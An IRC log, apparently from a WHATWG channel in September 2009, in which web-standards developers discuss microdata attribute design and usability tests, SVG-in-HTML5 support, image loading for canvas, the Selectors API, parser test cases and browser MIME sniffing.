Which would explain things.

[13:58:00.0000] <TabAtkins>
Well, it wouldn't explain FF's behavior, but it's a *really* big table.

[14:55:00.0000] <Lachy>
JohnResig, yt?

[14:59:00.0000] <Lachy>
I'll respond to your mail in more detail later, but I think you've failed to see just how flexible my proposal for selectors api actually is. In fact, it seems to address most, if not all, of your needs for the API, including scoped selectors and collective queries on node lists

[15:12:00.0000] <TabAtkins>
Jeezus, it seems 1 in 5 sites on the web use jQuery.  Of the ones that actually use js, 1 in 3 are using jquery.  (I guess that means 60% of all sites on the web are using js in some way?)

[15:36:00.0000] <AryehGregor>
TabAtkins, I'd believe that 1 in 5 web page *views* use jQuery, but there's a *really* long tail if you count by sites.

[15:37:00.0000] <TabAtkins>
I'm just going by the stats cited by Resig & co during some recent talks.

[15:37:01.0000] <TabAtkins>
So that may be views, dunno.

[15:38:00.0000] <TabAtkins>
And yeah, given the number of pages Hixie bandies about (1 trillion), that's a *very* long tail.

[15:38:01.0000] <tantek>
pages != views

[15:39:00.0000] <TabAtkins>
But then again, sites != pages either.

[15:40:00.0000] <TabAtkins>
http://ejohn.org/blog/talks-at-the-2009-jquery-conference/  "State of jQuery '09", slide 16

[15:53:00.0000] <Rik`>
i kind of doubt a source like http://trends.builtwith.com/

[15:53:01.0000] <Rik`>
I can't find a description of the process to gather such data

[15:55:00.0000] <TabAtkins>
Well, it looks like they're only covering 3M sites, so I suppose we're mainly talking stuff you can access relatively easily with a spider.

[15:57:00.0000] <TabAtkins>
They do make very pretty pie charts, though, so obviously you can trust them.

[16:03:00.0000] <Hixie>
ok next participant

[16:03:01.0000] <Hixie>
this one apparently uses vim(1)

[16:03:02.0000] <Hixie>
which is promising

[16:03:03.0000] <Philip`>
Burn him/her!

[16:04:00.0000] <Hixie>
better than frontpage!

[16:04:01.0000] <hsivonen>
Hixie: do they bring their own laptop or .vimrc (or whatever the pref file is called)?

[16:05:00.0000] <TabAtkins>
/me just uses a normal text editor.

[16:05:01.0000] <Philip`>
TabAtkins: 5% of pages in the dotnetdotcom sample have <script src="*jquery*">

[16:05:02.0000] <Philip`>
which is a long way from 20%

[16:05:03.0000] <Philip`>
(though still quite a lot)

[16:05:04.0000] <Hixie>
hsivonen: nah, we make them use some random text editor

[16:05:05.0000] <TabAtkins>
Philip`, shrug.

[16:05:06.0000] <Hixie>
i forget what it's called

[16:05:07.0000] <Hixie>
TextEdit2 or something

[16:05:08.0000] <hsivonen>
I see

[16:06:00.0000] <Philip`>
TabAtkins: (and about 70% use <script src>)

[16:06:01.0000] <TabAtkins>
I just wish emacs didn't use elisp.  I can't program in elisp.

[16:06:02.0000] <Philip`>
(regardless of value)

[16:06:03.0000] <Hixie>
apparently this participant has read some press articles about html5 and likes <header> because it means she doesn't have to use <div>s with class=""es anymore

[16:06:04.0000] <TabAtkins>
Yay for intended consequences!

[16:12:00.0000] <Hixie>
she describes microdata as a simpler solution than xslt, which she called "annoying"

[16:12:01.0000] <TabAtkins>
Smart participant.

[16:13:00.0000] <Hixie>
i'm not sure whether to be offended that she likened something i worked on to XSLT, or whether to be happy she called XSLT annoying unprompted, or...

[16:19:00.0000] <Philip`>
I think microdata is a simpler solution than an internal combustion engine, which is big and noisy

[16:20:00.0000] <Philip`>
Not sure they're solutions to the same problem, though

[16:21:00.0000] <Hixie>
well her point was that you would use microdata instead of writing the data in xml and translating it to HTML

[16:21:01.0000] <Hixie>
which isn't exactly right

[16:21:02.0000] <Hixie>
but could be right depending on exactly what she's doing

[16:21:03.0000] <TabAtkins>
The use of XSLT to transform a page into the embedded data, or vice versa, is the equivalent use.

[16:21:04.0000] <Hixie>
like if she's exposing XML and using XSLT to get data out

[16:21:05.0000] <Hixie>
yeah

[16:21:06.0000] <Hixie>
she's actually reading the documentation, i'm shocked

[16:22:00.0000] <Hixie>
clearly she's not representative of normal authors :-P

[16:22:01.0000] <TabAtkins>
With Microdata you'd just encode things then throw a generic parser, rather than building an XSLT script to pull the info out.

[16:23:00.0000] <Hixie>
wooo, she actually got as far as reading about itemfor="" and actually understood it!

[16:23:01.0000] <TabAtkins>
Heh.

[16:23:02.0000] <Hixie>
she's doing vocabulary 001, and so far she's confused about the way item="" takes a type

[16:24:00.0000] <annodomini>
Yeah, that is kind of confusing.

[16:24:01.0000] <TabAtkins>
I think that confused me a bit, too.

[16:24:02.0000] <TabAtkins>
Heh.

[16:24:03.0000] <TabAtkins>
That's 3 votes against, Hixie.  ^_^

[16:24:04.0000] <Hixie>
yeah i think we're going to go with renaming item="" to itemtype="", make it optional, and use itemscope="" from proposal 003

[16:25:00.0000] <Hixie>
also maybe we'll change itemfor="" to just referring in the other direction

[16:25:01.0000] <Hixie>
like sicking suggested

[16:25:02.0000] <Hixie>
using <ref> or something

[16:25:03.0000] <annodomini>
Other direction? I missed this suggestion.

[16:26:00.0000] <TabAtkins>
sicking thinks' it's confusing that the stranded data uses @itemfor to point to its parent, rather than the parent pointing to the stranded data.

[16:26:01.0000] <annodomini>
Hmm. Interesting.

[16:26:02.0000] <TabAtkins>
s/its parent/its Microdata parent, as opposed to its DOM parent/

[16:26:03.0000] <Hixie>
instead of <div itemscope id=a></div> <span itemfor=a itemprop=name>value</span>

[16:26:04.0000] <Hixie>
we would have

[16:26:05.0000] <Hixie>
<div itemscope><itemref ref=b/></div> <span id=b itemprop=name>value</span>

[16:27:00.0000] <TabAtkins>
That would allow a single piece of data to be a part of multiple items.  Is that intended?

[16:27:01.0000] <Hixie>
it would

[16:27:02.0000] <TabAtkins>
And would, in fact, bring back the full power of an DAG.

[16:27:03.0000] <Hixie>
i think that would be fine

[16:28:00.0000] <Hixie>
ROFL she complained about <i> being in the example

[16:28:01.0000] <Hixie>
"isn't that deprecated!"

[16:28:02.0000] <TabAtkins>
Totally not a typical author.  ^_^

[16:28:03.0000] <annodomini>
She sounds like she's pretty up on her standards...

[16:28:04.0000] <Hixie>
well except for <i> not being deprecated ever :-P

[16:29:00.0000] <TabAtkins>
If you can make a DAG, isn't the only thing left preventing Microdata from collapsing into RDF just the ability to make blank nodes or whatever?

[16:29:01.0000] <Hixie>
TabAtkins: you can make blank nodes today

[16:29:02.0000] <TabAtkins>
Really?

[16:29:03.0000] <Hixie>
TabAtkins: just don't include an "about" itemprop

[16:29:04.0000] <Philip`>
TabAtkins: There's also the lack of types

[16:29:05.0000] <TabAtkins>
Oh.

[16:30:00.0000] <Hixie>
yeah no per-value data types is another difference

[16:30:01.0000] <TabAtkins>
k.

[16:30:02.0000] <annodomini>
I don't think that it's bad to increase the flexibility of what you can construct, as long as that complexity is not necessary for your average usecase.

[16:30:03.0000] <TabAtkins>
annodomini: Yeah, I'm not saying anything against it.  I just think it's funny that this syntax is *just* below being equivalent to RDFa, and yet way easier to understand.

[16:31:00.0000] <TabAtkins>
/me thinks that <itemref> may in fact be easier to understand after all.

[16:31:01.0000] <Philip`>
But maybe much more verbose for expressing certain graphs

[16:31:02.0000] <TabAtkins>
Philip`, maybe.  I'd need to see examples.

[16:32:00.0000] <annodomini>
A whole new element <itemref> just for linking items to their properties? What about <link href="#b"> instead?

[16:32:01.0000] <TabAtkins>
Well, there's a certain benefit in maintaining the "item" prefix.

[16:34:00.0000] <TabAtkins>
Hixie: If you're going to make @itemtype to hold the type, then I prefer just plain @item as the scope signal.

[16:36:00.0000] <Hixie>
TabAtkins: people seem to be confused with the item="" attribute

[16:36:01.0000] <TabAtkins>
How much confusion is from @item itself, and how much from @item also acting as the type specifier?

[16:36:02.0000] <Hixie>
TabAtkins: and we have one data point (not enough) suggesting itemscope="" is clearer

[16:36:03.0000] <Hixie>
TabAtkins: well they got confused with it in both examples that had an item=""

[16:37:00.0000] <Hixie>
TabAtkins: so item="...id..." and item="...type..."

[16:37:01.0000] <Hixie>
both confused them

[16:37:02.0000] <TabAtkins>
/me has to go look up what item="id" means again.

[16:37:03.0000] <Hixie>
that's variant 002

[16:37:04.0000] <Hixie>
equivalent of itemprop="about" in the spec

[16:38:00.0000] <Hixie>
equivalent of itemprop="itemid" in proposals 001 and 003

[16:38:01.0000] <Hixie>
(we found "about" confused the heck out of people)

[16:38:02.0000] <Hixie>
("itemid" so far is faring better, though we don't have much data on that)

[16:38:03.0000] <Hixie>
hm, this participant is being confused by having itemprop="" values that are URLs

[16:39:00.0000] <Hixie>
she thinks they're links to the values, rather than unique property names

[16:40:00.0000] <TabAtkins>
Yah, I think that's going to be inevitable some of the time.

[16:42:00.0000] <TabAtkins>
Hmm, I can't find itemprop=about in the spec.

[16:44:00.0000] <Hixie>
http://www.whatwg.org/specs/web-apps/current-work/#md-about

[16:45:00.0000] <TabAtkins>
Gotcha.  That's hidden.

[16:45:01.0000] <TabAtkins>
And yeah, I can see how it would be confusing.

[16:45:02.0000] <Hixie>
everyone is making up their own property names

[16:46:00.0000] <Hixie>
despite us pointing them to a list of predefined vocabulary terms

[16:46:01.0000] <Hixie>
i guess that won't be such a problem if they just copy-paste from tutorials

[16:58:00.0000] <TabAtkins>
/me derives deep joy from crafting a tool that is really easy to use and useful.

[16:58:01.0000] <Hixie>
ooh, interesting. she prefers itemscope="" too.

[16:59:00.0000] <TabAtkins>
Hmm.


2009-09-26
[19:15:00.0000] <TabAtkins>
OMG, home internet is finally back.  This is the first time I've connected through my home router in very nearly exactly 14 days.

[19:15:01.0000] <TabAtkins>
(It would be exactly 14 days in about 20 minutes.)

[19:15:02.0000] <beowulf>
precision, we has it

[00:36:00.0000] <drunknbass>
i just noticed i have an issue using Image()

[00:36:01.0000] <drunknbass>
seems my js moves on before the image() data is ready

[00:37:00.0000] <drunknbass>
is there a solution for that?. i didnt notice it because the images were getting cached :/

[01:46:00.0000] <hsivonen>
having child point to parent assures treeness

[01:47:00.0000] <hsivonen>
ARIA does it the other way, whyc seems bad

[01:47:01.0000] <hsivonen>
(aria-owns)

[01:49:00.0000] <hsivonen>
s/whyc/which/

[01:58:00.0000] <drunknbass>
how can i embed base64 and make an image out of it for canvas?

[02:16:00.0000] <hsivonen>
drunknbass: data URL

[02:16:01.0000] <drunknbass>
?

[02:17:00.0000] <drunknbass>
now image.src?

[02:17:01.0000] <drunknbass>
not*

[02:17:02.0000] <hsivonen>
drunknbass: you can load the data: URL into image.src

[02:17:03.0000] <drunknbass>
any links?

[02:17:04.0000] <drunknbass>
everything i find doesnt work

[02:17:05.0000] <drunknbass>
and seems to be from b4 canvas

[02:18:00.0000] <hsivonen>
just http://www.ietf.org/rfc/rfc2397.txt

[02:19:00.0000] <drunknbass>
ok how do i use this with image or drawImage?

[02:19:01.0000] <hsivonen>
/me notes "URL" in the title of that RFC

[02:20:00.0000] <hsivonen>
drunknbass: by using it as the URL of a new Image()

[02:21:00.0000] <drunknbass>
heh thx

[02:21:01.0000] <drunknbass>
i dunno why it wasnt working b4 but i changed single quotes to double and it works

[02:21:02.0000] <drunknbass>
lol

[02:22:00.0000] <drunknbass>
ahh it doesnt make a difference lol.. pre still wont show my images

[02:23:00.0000] <hsivonen>
drunknbass: does Pre support data URLs?

[02:24:00.0000] <drunknbass>
haha i didnt look

[02:24:01.0000] <hsivonen>
drunknbass: does it pass Acid2?

[02:24:02.0000] <drunknbass>
i have a problem with my js running b4 my image is loaded

[02:24:03.0000] <hsivonen>
thought it could have only limited support like IE8

[02:24:04.0000] <drunknbass>
and even trying to use the onload for the image didnt help

[02:24:05.0000] <drunknbass>
i guess ill sort it out later..

[02:25:00.0000] <hsivonen>
drunknbass: does what I said work for you in Firefox/Opera/Safari/Chrome, though?

[02:25:01.0000] <drunknbass>
yup

[02:25:02.0000] <drunknbass>
i actually had that before without the header

[02:25:03.0000] <hsivonen>
ok. good

[02:26:00.0000] <drunknbass>
when i added the header it gave me ilgal char errors but it was because i was using single quotes around the string

[02:26:01.0000] <drunknbass>
so after i changed to regular quotes and left the header in, it worked

[02:26:02.0000] <drunknbass>
but images still dont work on pre which was what i was trying to fix

[02:27:00.0000] <drunknbass>
i think i read something about the images needing to be loaded locally or something.. like from within the app bundle..

[02:28:00.0000] <drunknbass>
i also get my context sizes displaying wrong in webos so i think the pre webkit is just really messed up

[02:29:00.0000] <jgraham>
/me wakes up , finds he has 99 new messages filtered to es-discuss, sighs

[02:30:00.0000] <jgraham>
(That is less than 99 messages total because I get all the IDL mesages twice but the filters aren't bright enough to sort one copy to es-discuss and one copy to public-html)

[03:00:00.0000] <Philip`>
drunknbass: Use image.onload to run some code once the image has loaded, or check image.complete to see if it's loaded yet, perhaps

[03:03:00.0000] <drunknbass>
oh i didnt know about complete

[03:03:01.0000] <drunknbass>
thx

[03:56:00.0000] <Philip`>
Has reCAPTCHA recently become awful?

[03:57:00.0000] <Philip`>
I seem to get <50% success rate, despite being certain I'm entering the words correctly

[03:57:01.0000] <Philip`>
and I don't remember that much of a problem in the past

[04:10:00.0000] <takkaria>
it's what happens when Google buys things

[04:16:00.0000] <Philip`>
Oh, Google bought reCAPTCHA?

[04:16:01.0000] <Philip`>
/me never heard about that

[04:18:00.0000] <Philip`>
I'll blame Google, then

[05:33:00.0000] <remysharp>
I've got a question about Web Workers - is this the right place to ask?

[05:36:00.0000] <jgraham>
remysharp: It's as good a place as any

[05:37:00.0000] <remysharp>
is there a way/flag to tell if a worker has been terminated?

[05:37:01.0000] <remysharp>
I can see the "closed" flag being referenced in the spec

[05:37:02.0000] <remysharp>
but I can't tell if it's new since FF + Safari have implemented workers

[05:37:03.0000] <remysharp>
i.e. I've dumped a worker variable out to Firebug and I can't see any state flags or any way to tell

[05:38:00.0000] <jgraham>
(Unrelated to workers) is the "Loop:" label in the "A start tag whose tag name is "li"" section of the "in body" phase of parsing on the wrong step?

[05:39:00.0000] <jgraham>
Otherwise why do you keep looking for a node but never do anything with it

[05:39:01.0000] <jgraham>
(I guess it should match the "dt" + etc. case below

[05:39:02.0000] <jgraham>
)

[06:20:00.0000] <Sephi-Chan>
Hi

[06:21:00.0000] <Sephi-Chan>
I created a very simple page with HTML5 Doctype, to try embeded SVG, but it doesn't seem to work (in FF3.5 and Safari 4, both on Mac)

[06:21:01.0000] <Sephi-Chan>
http://pastebin.com/d709d385f

[06:35:00.0000] <Sephi-Chan>
Someone can explain me how to embed SVG in my HTML5 page plz ?

[06:36:00.0000] <Sephi-Chan>
Everything i try doesnt work :/

[06:38:00.0000] <da3d>
Sephi-Chan: You need a nightly build of Firefox, and you need to enable the html5 parser in it.

[06:38:01.0000] <Sephi-Chan>
Oh :(

[06:38:02.0000] <Sephi-Chan>
So bad, i believed it was more accessible

[06:39:00.0000] <masinter>
the status of SVG in HTML5 is pretty fuzzy to me, isn't it in flux?

[06:39:01.0000] <masinter>
my impression is that the battle isn't over, you might get a different answer here tho

[06:39:02.0000] <da3d>
It will be, eventually, just need to wait for the browsers to be updated to support it.

[06:40:00.0000] <masinter>
isn't it still an ISSUE?

[06:41:00.0000] <Sephi-Chan>
Do you have an idea of the time for it to be available in Safari/Firefox ? Is this time in days ? weaks ? or months ? :x

[06:41:01.0000] <da3d>
masinter: I dunno, not really paying that much attention to it.

[06:42:00.0000] <Sephi-Chan>
i'm working on a webgame and i currently create a SVG map (using Raphael, to provide content for IE) and i ask for myself if using edge stuff like HTML5 is a good choice 

[06:43:00.0000] <masinter>
sephi-chan: you know what they say about the Opera

[06:44:00.0000] <masinter>
sephi-chan: lots of people run IE6, and can't upgrade. do you want your game to work for them?

[06:45:00.0000] <Sephi-Chan>
I don't really care about IE6 and IE in general

[06:45:01.0000] <Sephi-Chan>
If i can support them, it's a plus

[06:46:00.0000] <da3d>
Sephi-Chan: No clue when Mozilla and Apple will enable SVG-in-html5 by default.

[06:47:00.0000] <da3d>
As for using html5... well, some of it is easily usable now (eg most new elements) or can be emulated using scripts. Some of it (eg svg-in-html5) will have to wait for newer browser versions.

[06:48:00.0000] <masinter>
well, wasn't the google chrome supposed to make HTML5 available for IE users? not sure if that applies to IE6 though

[06:50:00.0000] <masinter>
/me finds http://www.mozilla.org/projects/svg/

[06:51:00.0000] <masinter>
"SVG support is now included in the latest version of Mozilla Firefox! "

[06:51:01.0000] <Sephi-Chan>
Uh :o

[06:51:02.0000] <masinter>
use the net, duke

[06:52:00.0000] <da3d>
There's a difference between supporting SVG and supporting SVG markup in html5 documents :p

[06:52:01.0000] <masinter>
what?

[06:53:00.0000] <Sephi-Chan>
Try to use embed svg in HTML (event with HTML5 doctype) and you will see that it's not supported

[06:53:01.0000] <masinter>
I don't get it, HTML5 is backward compatible! how can there be things that work now that will break when moving to HTML5?

[06:54:00.0000] <Sephi-Chan>
Uh ? How do you embed SVG now ?

[06:55:00.0000] <da3d>
Everyone (except IE) supports SVG using <object> or <img> (or inside the documents served as xhtml). Using SVG markup in html has never been supported before, that's the new part.

[06:55:01.0000] <Philip`>
The only change in HTML5 is that the text/html parser supports SVG elements

[06:55:02.0000] <Philip`>
(which is only implemented in experimental Firefoxes)

[06:55:03.0000] <Philip`>
You can always use proper XHTML, or create the SVG elements through the DOM (createElement etc)

[06:56:00.0000] <Philip`>
which will work in every browser

[06:56:01.0000] <Philip`>
(except IE obviously)

[06:56:02.0000] <Philip`>
or use <object> as da3d says

[06:56:03.0000] <Philip`>
(I think most browsers don't support SVG in <img> - maybe only Opera?)

[06:57:00.0000] <da3d>
Doesn't Webkit support svg in <img>, or am I misremembering?

[06:57:01.0000] <Sephi-Chan>
Uhuh

[06:57:02.0000] <masinter>
/me finds http://www.spartanicus.utvinternet.ie/embed.htm#svg

[06:57:03.0000] <Philip`>
I know it supports stuff like PDF in <img>, but I'm not sure about SVG

[06:58:00.0000] <masinter>
pdf in img doesn't sound right

[06:59:00.0000] <da3d>
http://support.apple.com/kb/TA25197 says "Adds support for SVG images in <img> elements and CSS images"

[06:59:01.0000] <Philip`>
http://philip.html5.org/demos/canvas/svg/scale.html

[06:59:02.0000] <Philip`>
Top-left is an SVG in <img>

[07:00:00.0000] <Philip`>
Seems to work in Opera (10) and Chromium (don't have Safari easily available)

[07:00:01.0000] <Philip`>
Doesn't work in Firefox

[07:00:02.0000] <Philip`>
(3.5)

[07:00:03.0000] <Sephi-Chan>
With Safari 4/Mac

[07:01:00.0000] <Philip`>
(Top-right image is the SVG scaled onto a <canvas> - Opera seems to do bitmap scaling, Chromium does vector scaling)

[07:01:01.0000] <Sephi-Chan>
i see a page with a bend corner and fiew code

[07:01:02.0000] <Sephi-Chan>
with the SVG logo

[07:02:00.0000] <jgraham>
Yeah. SVG in text/html is currently rather experimental. If you need HTML with inline SVG markup you have to use XHTML until HTML5 parsers are widely deployed

[07:03:00.0000] <jgraham>
(or use SVG as the root element and put XHTML in foreignContent I guess)

[07:03:01.0000] <jgraham>
So in summary: sorry :(

[07:03:02.0000] <Sephi-Chan>
Hmm

[07:04:00.0000] <Sephi-Chan>
In my case, SVG is used to draw a map (like in the board game Risk)

[07:04:01.0000] <Sephi-Chan>
My backend is made with Ruby on Rails, maybe i can use it to serve SVG

[07:05:00.0000] <Sephi-Chan>
With its nice RESTful API, maybe i can do example.com/maps/1.svg

[07:06:00.0000] <Sephi-Chan>
I think it's okay to use the SVG in a object with the good type

[07:06:01.0000] <Sephi-Chan>
No ?

[07:06:02.0000] <jgraham>
It is wuite possible that you don't need the SVG to be inline

[07:06:03.0000] <jgraham>
If you cn put it in an external file and then load that somehow everything will be hunky-dory

[07:07:00.0000] <Sephi-Chan>
hunky-dory ? I don't understand that :x (french inside)

[07:09:00.0000] <da3d>
Using SVG with <object> seems to be the most compatible, since it's supported everywhere except IE.

[07:12:00.0000] <Sephi-Chan>
And for IE ? What is the best way ?

[07:13:00.0000] <da3d>
Chrome Frame or some SVG plugin (dunno how well those work or how many there are though), I suppose?

[12:32:00.0000] <Lachy>
/me is excited!

[12:32:01.0000] <Lachy>
I just came up with a brilliant and most simple solution to the issues with Selectors API

[12:32:02.0000] <Lachy>
/me goes to spec it...

[12:33:00.0000] <Steve^>
talk about a cliff hanger

[12:34:00.0000] <Lachy>
I want it to be a surprise. :-)

[12:34:01.0000] <Steve^>
most likely I'll forget and never know

[12:42:00.0000] <Philip`>
I just came up with a brilliant and most simple solution to world peace!

[12:42:01.0000] <Philip`>
I'll write it down somewhere in a while

[12:44:00.0000] <Lachy>
haha

[12:44:01.0000] <Lachy>
JohnResig, yt?

[12:45:00.0000] <Steve^>
Lachy, just don't do a Fermat

[12:45:01.0000] <Lachy>
what's a Fermat?

[12:45:02.0000] <gsnedders>
/me faceplams

[12:45:03.0000] <Steve^>
Fermat was a mathematician

[12:45:04.0000] <gsnedders>
Lachy: Go learn your mathematicians!

[12:46:00.0000] <Steve^>
who wrote in the sidebar of his noteback that some property of maths could be solved with some awesome technique he came up with

[12:46:01.0000] <Steve^>
then he died before writing it down properly

[12:46:02.0000] <Lachy>
heh

[12:46:03.0000] <Lachy>
it's ok, I have it specced already

[12:46:04.0000] <gsnedders>
No, in the margin of some other spec.

[12:47:00.0000] <gsnedders>
s/spec/book/

[12:47:01.0000] <Steve^>
and it became a huge challenge for other people to prove, they managed recently but it was brutally hard (and not his solution)

[12:47:02.0000] <Lachy>
well, minor a few technical details about the algorithm. But the concept is sound

[12:47:03.0000] <gsnedders>
You're confusing me

[12:47:04.0000] <gsnedders>
He wrote it in 1637, proved in 1995.

[12:47:05.0000] <gsnedders>
Fermat had proof when he wrote it, just never written down.

[12:47:06.0000] <Steve^>
*thought he had a proof

[12:47:07.0000] <Philip`>
I think the general consensus is that he was wrong

[12:48:00.0000] <gsnedders>
Well, yeah.

[12:48:01.0000] <Philip`>
rather than that he was cleverer than four centuries of mathematicians

[14:28:00.0000] <Lachy>
I checked in the new and improved solution for selectors api. http://dev.w3.org/2006/webapi/selectors-api2/

[14:29:00.0000] <Lachy>
the major changes have to do with the definition of "scoped selector string" and the ways in which that affects processing.

[14:31:00.0000] <Steve^>
how can something be both new and improved?

[14:45:00.0000] <Lachy>
Steve^, it's a new technique that is an improvement over the old technique

[14:45:01.0000] <Steve^>
that's what you meant, yes

[15:16:00.0000] <jgraham>
 /me wonders if/why "<p><b></p> <p>Y" should parse differently to "<p><b></p>X<p>Y"

[15:16:01.0000] <jgraham>
hsivonen: ^

[15:17:00.0000] <jgraham>
It seems to me that the active formatting elements should be reconstructed on either the space or the X but there are tests that suggest it doesn't happen with the space

[15:17:01.0000] <Hixie>
i think that changed at some point

[15:19:00.0000] <jgraham>
OK, I couldn't obviously see a relevant commit message

[15:24:00.0000] <Hixie>
if you have the time, try archeology for the line "A character token" a the top of the in-body insertion mode

[15:37:00.0000] <hsivonen>
jgraham: is my code out of date on that point?

[15:38:00.0000] <jgraham>
hsivonen: Well the HTML5 live DOM viewer disagrees with html5lib but agrees with the tests

[15:39:00.0000] <jgraham>
But I *think* html5lib agrees with the spec

[15:39:01.0000] <hsivonen>
I see

[15:39:02.0000] <jgraham>
Unless there is a special case I am missing somewhere

[15:39:03.0000] <jgraham>
(which is quite likely)

[15:40:00.0000] <hsivonen>
I thought I'd written code that makes both space and other characters follow the same path in "in body"

[15:40:01.0000] <gsnedders>
hsivonen: You have any thoughts about how to make the tokenizer tests JSON, like the docs claim?

[15:41:00.0000] <jgraham>
hsivonen: Is the HTML5 live dom viewer up to date at this point?

[15:41:01.0000] <hsivonen>
gsnedders: do you mean surrogates?

[15:41:02.0000] <gsnedders>
hsivonen: I was thinking adding in a second form of escaping above JSON, so you can do things like U00D7FF to refer to U+D7FF (which can't occur in JSON)

[15:41:03.0000] <hsivonen>
jgraham: it's not up to spec

[15:42:00.0000] <hsivonen>
jgraham: at least </li> has changed

[15:42:01.0000] <jgraham>
hsivonen: Is it significantly older than the version in gecko?

[15:42:02.0000] <hsivonen>
jgraham: and end tags before <html>

[15:42:03.0000] <hsivonen>
jgraham: no

[15:42:04.0000] <gsnedders>
hsivonen: Yes, and anything else that can't be represented

[15:43:00.0000] <hsivonen>
the only change that's in Gecko but not in the Live viewer is that Gecko no longer clones nodes

[15:43:01.0000] <gsnedders>
What makes \uD7FF illegal in JSON?

[15:43:02.0000] <hsivonen>
(that fix was long overdue)

[15:43:03.0000] <hsivonen>
gsnedders: no, I don't know what to do about that

[15:44:00.0000] <hsivonen>
did JSON fall into the same trap as XML and outlaw characters according to someone's sense of Unicode aesthetics?

[15:44:01.0000] <jgraham>
/me optimistically changes the tests locally

[15:44:02.0000] <gsnedders>
JSON didn't, but to make it a subset of ECMAScript it has to be.

[15:45:00.0000] <gsnedders>
We can't run the html5lib tests on Ruby at all because of it

[15:45:01.0000] <jgraham>
With that change we are down to 2 errors, 2 failures

[15:45:02.0000] <hsivonen>
gsnedders: :-(

[15:45:03.0000] <hsivonen>
having to create another escaping layer on top of JSON would suck

[15:46:00.0000] <jgraham>
The ruby port is somewhat dead in the water

[15:46:01.0000] <gsnedders>
I see no alternative though :(

[15:46:02.0000] <gsnedders>
jgraham: I want to do some stuff with it in the near future

[15:46:03.0000] <jgraham>
(but this problem really needs to be fixed)

[15:46:04.0000] <jgraham>
gsnedders: Good luck with that

[15:47:00.0000] <gsnedders>
But yeah, I really want to get the tests running before I do anything


2009-09-27
[17:01:00.0000] <masinter>
i'm tracking down more stuff about mime sniffing

[17:02:00.0000] <Philip`>
With all this sniffing, has anybody worked out what mimes smell like yet?

[17:02:01.0000] <masinter>
The Barth paper contains the claim "Once one browser vendor implements content sniffing, the other browser vendors are forced to follow suit or risk losing market share [1]", where [1] is not some study of market share of browser vendor behavior, but just some mozilla bug report: https://bugzilla.mozilla.org/show_bug.cgi?id=175848

[17:03:00.0000] <masinter>
well, seems like a pretty smelly reference

[17:05:00.0000] <masinter>
it's a pretty astounding claim, really, that browser market share depends on content type sniffing

[17:05:01.0000] <masinter>
rather than, say, performance, ease of use, conformant behavior when confronted with actually properly labelled content

[17:05:02.0000] <jgraham>
It's a pretty astounding claim that it doesn't

[17:05:03.0000] <masinter>
it doesn't what?

[17:06:00.0000] <jgraham>
Depend on content sniffing

[17:06:01.0000] <masinter>
i mean that it's a more significant factor than 100 other things

[17:06:02.0000] <jgraham>
It doesn't have to be

[17:06:03.0000] <jgraham>
It just has to be a sufficienty significant factor

[17:06:04.0000] <jgraham>
Which it is

[17:06:05.0000] <tantek>
it's the standard, if the browser doesn't show the web page (properly), or shows it in some broken way, the user tries a different browser, if the other browser appears to "work", the user sticks with it.

[17:07:00.0000] <masinter>
how significant a factor is it?

[17:07:01.0000] <jgraham>
Indeed, users couldn't care less about whether content is properly labelled or not

[17:07:02.0000] <tantek>
more significant than performance, pretty GUI, brand name, etc.

[17:07:03.0000] <Philip`>
I think its significance is about 0.18

[17:07:04.0000] <jgraham>
masinter: I don't know how to put in on a scale. 

[17:08:00.0000] <masinter>
i mean, 1% of the population would switch from FirefOx to Chrome if Chrome sniffed and FireFox didn't, even if Firefox was faster and implemented more other features?

[17:08:01.0000] <tantek>
none of that matters if the browser "breaks" from the user's perception.

[17:08:02.0000] <jgraham>
It is significant enough that it has to be there

[17:08:03.0000] <masinter>
exactly this response has to be there?

[17:08:04.0000] <Philip`>
It is believed by browser vendors to be significant enough that it has to be there

[17:08:05.0000] <masinter>
i mean, this is a major "feature" and the justification is that someone read a bug report?

[17:09:00.0000] <jgraham>
Philip`: Those two statements are roughly equivalent

[17:09:01.0000] <masinter>
which product manager would back that up?

[17:09:02.0000] <tantek>
"oh this browser doesn't work with my bank, I'll try another browser, or ask my friends which browser they use and try that. oh look this other browsers seems to 'work' with my bank, and is fine with other sites too, I'll stick to it."

[17:09:03.0000] <masinter>
which banks have misconfigured web servers?

[17:09:04.0000] <tantek>
which banks don't?

[17:09:05.0000] <jgraham>
masinter: Working with the web is a major feature. In a web browser

[17:09:06.0000] <masinter>
sure, some user sites, c'mon tantek

[17:09:07.0000] <tantek>
misconfigured HTTP, HTML you name it

[17:09:08.0000] <Philip`>
The theoretically quantifiable figure is probably more like: If a million happy Firefox users try out Chrome, how many abandon Chrome because one of the websites they like to visit fails to work in Chrome (due to sniffing differences)

[17:09:09.0000] <masinter>
you're making circular definitions

[17:09:10.0000] <tantek>
know any bank sites that validate? good luck.

[17:10:00.0000] <masinter>
name one, Tantek, that has misconfigured mime types?

[17:10:01.0000] <masinter>
this isn't about validation, it's about content-type sniffing

[17:10:02.0000] <tantek>
nope - all the same

[17:10:03.0000] <masinter>
my left shoe isn't configured properly either

[17:10:04.0000] <tantek>
it's all about compat

[17:10:05.0000] <masinter>
tantek, what is all the same?

[17:10:06.0000] <tantek>
to the user it's all the same. my browser is broken.

[17:10:07.0000] <masinter>
hmmm, argument by assertion?

[17:10:08.0000] <tantek>
doesn't matter whether the pipe or pipe-fitting is broken

[17:11:00.0000] <jgraham>
masinter: Since banks typically require a login it is rather hard to verify whether they have configured their server correctly

[17:11:01.0000] <tantek>
and experience. i've built browsers.

[17:11:02.0000] <masinter>
i understand the nature of the argument, tantek, and repeating it doesn't help

[17:11:03.0000] <tantek>
and usertested browser useres.

[17:11:04.0000] <tantek>
users even

[17:11:05.0000] <masinter>
|<tantek> "oh this browser doesn't work with my bank, I'll try another browser,

[17:11:06.0000] <tantek>
this is one of those "duh" things to anyone who builds browsers.

[17:11:07.0000] <jgraham>
tantek: indeed

[17:11:08.0000] <masinter>
"duh" "duh"

[17:12:00.0000] <masinter>
well, it's a "duh" argument indeed that if you make claims about banks and user behavior and market share that you have to have more than saying "well, duh, we're right and you're wrong nyah nyah nyah"

[17:12:01.0000] <Hixie>
masinter: market research data that i've seen from two different browser vendors puts compatibility with sites as the number #1 reason for switching browsers

[17:12:02.0000] <Hixie>
literally above all else

[17:13:00.0000] <Hixie>
more important than security, than having extensions/add-ons, than having features, than speed, anything

[17:13:01.0000] <masinter>
well, why is the citation in http://www.adambarth.com/papers/2009/barth-caballero-song.pdf to a mozilla bug report?

[17:13:02.0000] <jgraham>
I would say that Hixie's data matches my experience

